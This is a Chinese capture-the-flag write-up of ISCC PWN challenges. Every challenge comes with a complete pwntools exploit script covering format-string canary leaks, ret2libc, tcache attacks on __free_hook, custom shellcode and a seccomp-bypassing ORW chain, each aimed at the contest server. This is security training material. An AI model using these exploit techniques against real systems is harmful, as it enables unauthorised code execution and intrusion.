0x00 前言
小弟的第一次ISCC,校赛阶段已经结束了,简单记录一下做的PWN(3/3),平台比想象中的要烂好多好多…很难想象这是一个国家级的比赛。还有各种PY满天飞,甚至有老哥看到同校的PY队直接在比赛群里骂了起来,这就是_______.
欧也,区域赛ak了
kernel pwn不会
0x01 校级赛题解部分 签 checksec:
Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8047000) RUNPATH: b'/home/yyh/Desktop/lib32/lib32/' Stripped: No
浅谈 附件一发下来就是patch(?)过的,很奇怪,甚至不能直接打开,我当时尝试过给他patch了一个比较低版本的libc和so(2.23),启动之后会报一个这样的错误:
version GLIBC_2.34
not found
简单查了一下,patch的版本太低了。后面泄露出了libc版本,也确实证明了这一点
libc6-i386_2.35-0ubuntu3.8_amd64.so
话不多说,这道题整体就是一个 泄露canary + ret2libc。 值得注意的是,在泄露puts_got的时候,会打印出8个字节,这是因为got中存储的4个字节连在一起了,不像64位的那样会有\x00
截断,所以在接收的时候只接收前4字节即可
EXP: from pwn import *context.arch='i386' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/attachment' elf=ELF(file) libc=ELF('/mnt/c/Users/Z2023/Desktop/libc6-i386_2.35-0ubuntu3.8_amd64.so' ) choice = 0x01 if choice: port= 12400 iscc='101.200.155.151' p = remote(iscc,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) puts_got=elf.got['puts' ] payload = b'%23$paaa' payload += p32(puts_got) + b'%9$s' sla('What\'s your name?\n\n' ,payload) canary = int (r(10 ),16 ) leak('canary' ) r(7 ) puts_addr = uu32(r(4 )) leak('puts_addr' ) libc_base = puts_addr - libc.sym['puts' ] leak('libc_base' ) system,binsh=get_sb() leak('system' ) leak('binsh' ) one_gadget=libc_os(0xdd8a3 ) libc_start_got=elf.got['__libc_start_main' ] pop_ebx=0x08049022 vuln_addr=0x08049210 payload = p32(canary) payload = payload.rjust(0x4c -8 ,b'a' ) payload = payload.ljust(0x4c +4 ,b'a' ) payload += p32(system)+p32(vuln_addr)+p32(binsh) sla('What\'s your password?\n\n' ,payload) itr()
key Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
浅谈 涉及到一点点的关于堆的知识点,还好有在学堆,整体就是一个堆块分配机制的利用、泄露canary和ret2libc
分析 想要ret2libc,就先让key=520,跟进一下fg()
利用chunk分配机制,在它free掉一个0x64大小的chunk之后,会进入fast bin/ Tcache,无论是哪种,只要我们再申请一个相同大小的chunk,就能把这个堆块给申请回来 再写入flag就可以令key=520 后面就是泄露canary 和libc 然后打 ret2libc
EXP: from pwn import *context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/attachment8' elf=ELF(file) libc=ELF('/mnt/c/Users/Z2023/Desktop/libc.so' ) choice = 0x01 if choice: port= 12200 iscc='101.200.155.151' p = remote(iscc,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,'b *0x400c45' ) sla('size:\n' ,str (0x64 )) sla('flag:\n' ,b'flag' ) payload=b'a' *(25 ) sa('welcome to ISCC\n' ,payload) canary = u64(ru('.' )[-8 :-1 ].rjust(8 ,b'\x00' )) leak('canary' ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] pop_rdi=0x00000000004014c3 vuln=0x000000000040135C ret=0x000000000040101a payload = p64(canary) payload = payload.rjust(0x20 ,b'a' ) payload += b'a' *8 payload += flat(pop_rdi,puts_got,puts_plt,vuln) sla('nice to meet you' ,payload) puts_addr=uru64() leak('puts_addr' ) libc_base=puts_addr-libc.sym['puts' ] leak('libc_base' ) system,binsh=get_sb() sa('welcome to ISCC\n' ,b'a' ) payload = p64(canary) payload = payload.rjust(0x20 ,b'a' ) payload += b'a' *8 payload += flat(ret,pop_rdi,binsh,system,vuln) sla('nice to meet you' ,payload) itr()
《魔导王的秘密》 给了libc,一道正经堆题
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/home/link/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/'
浅谈 人生中在比赛出的第一道堆题,虽然很简单很简单
简单分析 在IDA里面畅游过了
有uaf、堆溢出
没得写got
哦原来__malloc_hook和__free_hook还是能照样写
2.27 那就是简单的Tcache attack,甚至比fast bin attack还简单
可以参考LitCTF 2024 heap-2.27(Tcache attack啦)
. 几乎是一样的做法,所以就直接放exp了。
EXP from pwn import *context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/attachment13' elf=ELF(file) libc=ELF('/mnt/c/Users/Z2023/Desktop/libc.so' ) choice = 0x01 if choice: port= 12700 iscc='101.200.155.151' p = remote(iscc,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,'b *$rebase(0xD7D)' ) def malloc (index,size ): sla('Chant your choice:\n' ,b'1' ) sla('Celestial alignment coordinate:\n' ,str (index)) sla('Quantum essence required:\n' ,str (size)) def free (index ): sla('Chant your choice:\n' ,b'2' ) sla('Cursed sanctum to cleanse:' ,str (index)) def edit (index,content ): sla('Chant your choice:\n' ,b'3' ) sla('Sanctum for arcane inscription:\n' ,str (index)) sla('Runic sequence length:\n' ,str (len (content))) sla('Inscribe your primordial truth:\n' ,content) def show (index ): sla('Chant your choice:\n' ,b'4' ) sla('Sanctum to reveal cosmic truth:\n' ,str (index)) debug() malloc(0 ,0x410 ) malloc(1 ,0x68 ) malloc(2 ,0x68 ) free(0 ) show(0 ) libc_base = uru64() - 0x3ebca0 leak('libc_base' ) sys,binsh=get_sb() free(1 ) edit(1 ,p64(libc_os(libc.sym['__free_hook' ]))) malloc(3 ,0x68 ) edit(3 ,b'/bin/sh\x00' ) malloc(4 ,0x68 ) edit(4 ,p64(sys)) free(3 ) itr()
0x02 区域赛题解部分 genius Checksec发现有canary
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
上ida看看,main函数逻辑如下 跟进function1 继续跟进 继续跟进function3 此处可以用来泄露canary,然后gets函数有溢出点,程序中有后门函数 ret2text即可
exp from pwn import * context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/attachment22' elf=ELF(file) choice = 0x001 if choice: port= 12000 iscc='101.200.155.151' p = remote(iscc,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) sla('you are a genius,yes or no?' ,b'no' ) sla('Sir, don\'t be so modest.' ,b'thanks' ) sla('what you want in init' ,b'a' *24 ) r(25 ) canary = r(7 ) canary = canary.rjust(8 ,b'\x00' ) canary= uu64(canary) leak('canary' ) shell = 0x00000000004011A6 ret = 0x000000000040101a debug() payload = p64(canary) payload = payload.rjust(0x20 ,b'a' ) payload += b'a' *8 payload += p64(ret)+p64(shell) sla('thank you' ,payload) itr()
program 上ida看了一眼是一道堆题, 根据题目给出的libc版本可知glibc版本,patch一下就能正常本地调试。 堆块释放功能有uaf漏洞 编辑堆块有堆溢出漏洞 输出堆块没有检测,可以利用这个配合unsorted bin来泄露libc 所以思路就是制造unsorted bin来泄露libc,然后利用tcachebin attack劫持fd指针到free_hook进行改写
exp from pwn import *context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) elf=ELF('/mnt/c/Users/Z2023/Desktop/attachment23' ) libc=ELF('/mnt/c/Users/Z2023/Desktop/attachment-23.so' ) io = remote('101.200.155.151' ,12300 ) def add_chunk (i,s ): io.sendlineafter('choice:\n' ,b'1' ) io.sendlineafter('index:\n' ,str (i)) io.sendlineafter('size:\n' ,str (s)) def delete_chunk (i ): io.sendlineafter('choice:\n' ,b'2' ) io.sendlineafter('index:\n' ,str (i)) def edit_chunk (i,c ): io.sendlineafter('choice:\n' ,b'3' ) io.sendlineafter('index:\n' ,str (i)) io.sendlineafter('length:\n' ,str (len (c))) io.sendlineafter('content:\n' ,c) def print_chunk (i ): io.sendlineafter('choice:\n' ,b'4' ) io.sendlineafter('index:\n' ,str (i)) for i in range (8 ): add_chunk(i,0x80 ) for i in range (7 ): delete_chunk(i) add_chunk(8 ,0x10 ) delete_chunk(7 ) print_chunk(7 ) libc_base = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 96 - 0x10 - libc.sym['__malloc_hook' ] print (hex (libc_base))system = libc_base + libc.sym['system' ] edit_chunk(6 ,p64(libc_base + libc.sym['__free_hook' ])) add_chunk(9 ,0x80 ) add_chunk(10 ,0x80 ) edit_chunk(10 ,p64(system)) add_chunk(11 ,0xa0 ) edit_chunk(11 ,b'/bin/sh\x00' ) delete_chunk(11 ) io.interactive()
Fufu checksec发现有pie和canary 在这里利用无符号整数溢出和fmtstr泄露出piebase和canry之后再泄露libc 参数位置如下, 后续利用printf_got泄露libc 然后在这里ret2libc
exp from pwn import *context.arch = 'amd64' elf=ELF('./attachment-32' ) libc=ELF('./libc6_2.35-0ubuntu3.5_amd64.so' ) io = remote('101.200.155.151' ,12600 ) io.sendlineafter('choice? >> ' ,b'1' ) io.sendlineafter('limited! >> ' ,str (429496735 )) io.sendlineafter('evidence! >> ' ,b'%17$p%25$p' ) c = int (io.recv(18 ),16 ) print (hex (c))io.recvuntil('0x' ) main = int (io.recv(12 ),16 )-0x1338 print (hex (main))io.sendlineafter('chicken! >> ' ,b'a' ) printf_got = elf.got['printf' ] + main io.sendlineafter('choice? >> ' ,b'1' ) io.sendlineafter('limited! >> ' ,str (429496735 )) io.sendlineafter('evidence! >> ' ,b'%9$saaaa' +p64(printf_got)) printf_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (printf_addr))libc_base = printf_addr - libc.sym['printf' ] system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b'/bin/sh\x00' )) io.sendlineafter('chicken! >> ' ,b'a' ) io.sendlineafter('choice? >> ' ,b'2' ) pl = p64(c) pl = pl.rjust(0x50 ,b'a' ) pl += b'a' *8 + p64(0x132f + main)+p64(0x101a + main)+p64(binsh)+p64(system)+b'a' *8 io.sendlineafter('adjourned\n' ,pl) io.interactive()
mutsumi 程序比较复杂,看了一下。这个 main 函数实际上根据用户输入来执行不同的分支,我们需要输入对应的字符串来让程序执行至这个特定的分支 以整数形式将我们的输入存储,最后通过 mutsumi_jit(&Vm);转换为汇编指令,也就是说我们需要以10进制的方式输入shellcode,看看mutsumi_jit(&Vm);函数有没有对输入进行魔改。在最底下的imm2asm 会给我们输入的shellcode片段加入一个字节的数据,由我们输入的shellcode的”大小“来决定这个插入的字节数据。 正常来说我们一次能够输入4字节,这4字节都用上的话肯定比0xff要大,所以可以确认的是我们输入的shellcode都会被插入一个E9,而这个e9会扰乱我们的shellcode,所以我们需要花一字节来与这个e9进行匹配,组成一条不会妨碍shellcode运行的汇编命令,这里选择09,因为b’\x09\xe9’转换成asm就是or ecx, ebp
。 题外话,又发掘了一个pwntools好用的东西 在执行shellcode之前所有寄存器的值都被清除,所以这条指令不会影响我们shellcode的执行。 构造的shellcode如下,实际发送的时候开头都补上09,后面不够3字节的就用90来凑
# \x83\xc6\x05\x90 add esi,5 # \xc1\xe6\x04\x90 shl esi,4 # \x83\xc6\x01\x90 add esi,1 # \xc1\xe6\x04\x90 shl esi,4 # \x83\xc6\x04\x90 add esi,4 # \xc1\xe6\x04\x90 shl esi,4 # \xc1\xe6\x04\x90 shl esi,4 # \xc1\xe6\x04\x90 shl esi,4 # \x80\xc2\x08\x90 add dl,0x8 # \x0f\x05\x90\x90 syscall # \x80\xea\x08\x90 sub dl,0x8 # \x04\x33\x90\x90 add al,0x3b # \x89\xf7\x90\x90 mov edi,esi # \x31\xf6\x90\x90 xor rsi,rsi # \x0f\x05\x90\x90 syscall
exp from pwn import *context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) io = remote('101.200.155.151' ,12800 ) io.sendlineafter('help her' ,'saki,ido' ) io.sendline('1' ) code = [0x0905c683 ,0x0904e6c1 ,0x0901c683 ,0x0904e6c1 ,0x0904c683 ,0x0904e6c1 ,0x0904e6c1 ,0x0904e6c1 ,0x0908c280 ,0x0990050f ,0x0908ea80 ,0x09903304 ,0x0990f789 ,0x0990f631 ,0x0990050f ] for i in range (len (code)): io.sendline('saki,ido' ) sleep(0.1 ) io.sendline(str (code[i])) sleep(0.1 ) io.sendline('saki,stop' ) sleep(0.5 ) io.sendline(b'/bin/sh\x00' ) io.interactive()
0x03 决赛题解部分 Dilemma 就是fmtstr泄露canary, stack 然后利用二次fmtstr改hp, 获得第二次fmtstr, 泄露libc 最后溢出打orw 沙箱:
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
正常getshell没反映,看了一眼原来沙箱禁了 Libc: libc6_2.35-0ubuntu3.9_amd64.so 这里需要注意一下getgadget的问题,印象中程序里面是没有ret
这个gadget的好像,但是泄露了libc,我们可以用libc里面的
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/attachment-42' elf=ELF(file) libc=ELF('/mnt/c/Users/Z2023/Desktop/libc6_2.35-0ubuntu3.9_amd64.so' ) choice = 0x001 if choice: port= 12500 polar='1.95.36.136' nss='node5.anna.nssctf.cn' buu='node5.buuoj.cn' kap0k='ctf.kap0k.top' iscc='101.200.155.151' p = remote(iscc,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) sla('where are you go?\n' ,b'1' ) payload = b'%9$paaaa%11$paaa' sa('Enter you password:\n' ,payload) ru('0x' ) stack = int (r(12 ),16 ) -0x50 + 0x20 leak('stack' ) ru('0x' ) canary = int (r(15 ),16 ) canary = canary * 16 leak('canary' ) rdi = 0x000000000040119a rsi_r15 = 0x000000000040119c hp=0x0000000000404068 mp=0x000000000040406C main =0x000000000401530 sla('I will check your password:\n' ,b'aaaa' ) sla('where are you go?\n' ,b'2' ) payload = fmtstr_payload(6 ,{hp:0x1 },write_size='short' ) sla('We have a lot to talk about\n' ,payload) sla('where are you go?\n' ,b'1' ) payload = b'%7$saaaa' +p64(elf.got['puts' ]) sla('Enter you password:\n' ,payload) puts_addr = uru64() leak('puts_addr' ) libc_base = puts_addr - libc.sym['puts' ] leak('libc_base' ) system,binsh=get_sb() open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] rdx = libc_base + 0x0000000000170337 bss = 0x404500 payload = b"flag.txt" +p64(canary) payload = payload.rjust(0x30 ,b'a' ) payload += b'a' *8 payload += flat(rdi,stack,rsi_r15,0 ,0 ,open_addr,rdi,3 ,rsi_r15,bss,0 ,rdx,0x100 ,read_addr) payload += b'\x00' *6 payload += flat(rdi,1 ,rsi_r15,bss,0 ,rdx,0x100 ,write_addr) sla('where are you go?\n' ,b'2' ) debug() sla('We have a lot to talk about\n' ,payload) itr()